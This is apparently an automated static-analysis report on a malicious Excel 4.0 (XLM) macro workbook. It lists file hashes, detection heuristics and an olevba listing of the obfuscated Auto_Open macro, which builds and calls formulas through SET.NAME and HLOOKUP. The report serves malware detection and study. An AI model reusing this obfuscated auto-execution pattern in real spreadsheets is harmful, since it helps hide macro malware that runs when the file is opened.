Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a4f143b0c12ff583…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:48 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 38068f8ba221190e215324fe0dbfb4e9 SHA-1: 1857c7e2635e1a875222b67c7c240ad8025e440e SHA-256: a4f143b0c12ff5839c98f074db38c627c5fec521439cc8df720366afffaa8730
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6574 bytes
SHA-256: 513f0c9066db9731132033ee03b288971c343d7e358289aee75ff9f5e63e257e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XTS
' 0018     23 LABEL : Cell Value, String Constant - AEkNwtLu len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I171 
' 0018     27 LABEL : Cell Value, String Constant - CiVxyfRInVVS len=0 
' 0018     27 LABEL : Cell Value, String Constant - CQECLTZyHiwS len=0 
' 0018     26 LABEL : Cell Value, String Constant - diPCvVotWPL len=0 
' 0018     21 LABEL : Cell Value, String Constant - EermrB len=0 
' 0018     22 LABEL : Cell Value, String Constant - eqNAPTq len=0 
' 0018     26 LABEL : Cell Value, String Constant - EqtaOESPZhZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - fKwOvPilz len=0 
' 0018     20 LABEL : Cell Value, String Constant - gCRfh len=0 
' 0018     27 LABEL : Cell Value, String Constant - gJofjeScSFhM len=0 
' 0018     20 LABEL : Cell Value, String Constant - IqVUh len=0 
' 0018     22 LABEL : Cell Value, String Constant - iZvibPw len=0 
' 0018     20 LABEL : Cell Value, String Constant - PJeBy len=0 
' 0018     23 LABEL : Cell Value, String Constant - QUFNPFiL len=0 
' 0018     27 LABEL : Cell Value, String Constant - RYiPSRJxhVHS len=0 
' 0018     23 LABEL : Cell Value, String Constant - sivxsban len=0 
' 0018     25 LABEL : Cell Value, String Constant - UQvtcImFRt len=0 
' 0018     27 LABEL : Cell Value, String Constant - VuxjmXhavHiC len=0 
' 0018     23 LABEL : Cell Value, String Constant - vWLqTCqi len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZYJkWkMgX len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XTS,R65,"",-283.00000000000000000000
'  XTS,R66,"",-210.00000000000000000000
'  XTS,R67,"",-545.00000000000000000000
'  XTS,R68,"",-924.00000000000000000000
'  XTS,R69,"",-509.00000000000000000000
'  XTS,R70,"",953.00000000000000000000
'  XTS,I82,"SET.NAME("RYiPSRJxhVHS",0+VALUE("0"))",""
'  XTS,I84,"SET.NAME("EqtaOESPZhZ",RYiPSRJxhVHS)",""
'  XTS,I86,"SET.NAME("IqVUh",RYiPSRJxhVHS)",""
'  XTS,I88,"SET.NAME("iZvibPw",COUNTA(gCRfh))",""
'  XTS,I90,"SET.NAME("vWLqTCqi",COUNTA(AEkNwtLu))",""
'  XTS,I93,[],""
'  XTS,I98,"SET.NAME("EermrB","")",""
'  XTS,I103,"EqtaOESPZhZ",""
'  XTS,I105,"SET.NAME("diPCvVotWPL",HLOOKUP("*",gCRfh,EqtaOESPZhZ,FALSE))",""
'  XTS,I109,"UQvtcImFRt",""
'  XTS,I112,"SET.NAME("ZYJkWkMgX",RYiPSRJxhVHS)",""
'  XTS,I117,[],""
'  XTS,I120,"ZYJkWkMgX",""
'  XTS,I123,"sivxsban",""
'  XTS,I127,"fKwOvPilz",""
'  XTS,I132,"CQECLTZyHiwS",""
'  XTS,I137,"SET.NAME("eqNAPTq",VALUE(HLOOKUP("*",AEkNwtLu,CQECLTZyHiwS,FALSE)))",""
'  XTS,I140,"VuxjmXhavHiC",""
'  XTS,I142,"EermrB",""
'  XTS,I146,"IqVUh",""
'  XTS,I150,NEXT(),""
'  XTS,I153,"gJofjeScSFhM",""
'  XTS,I157,[],""
'  XTS,I161,"CiVxyfRInVVS",""
'  XTS,I166,NEXT(),""
'  XTS,I169,RETURN(),""
'  XTS,I198,"SET.NAME("PJeBy",I82)",""
'  XTS,I202,"gCRfh",""
'  XTS,I204,"SET.NAME("AEkNwtLu",R47C12)",""
'  XTS,I208,"SET.NAME("CiVxyfRInVVS",217)",""
'  XTS,I213,"SET.NAME("QUFNPFiL",9)",""
'  XTS,I216,PJeBy(),""
'  XTS,I217,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.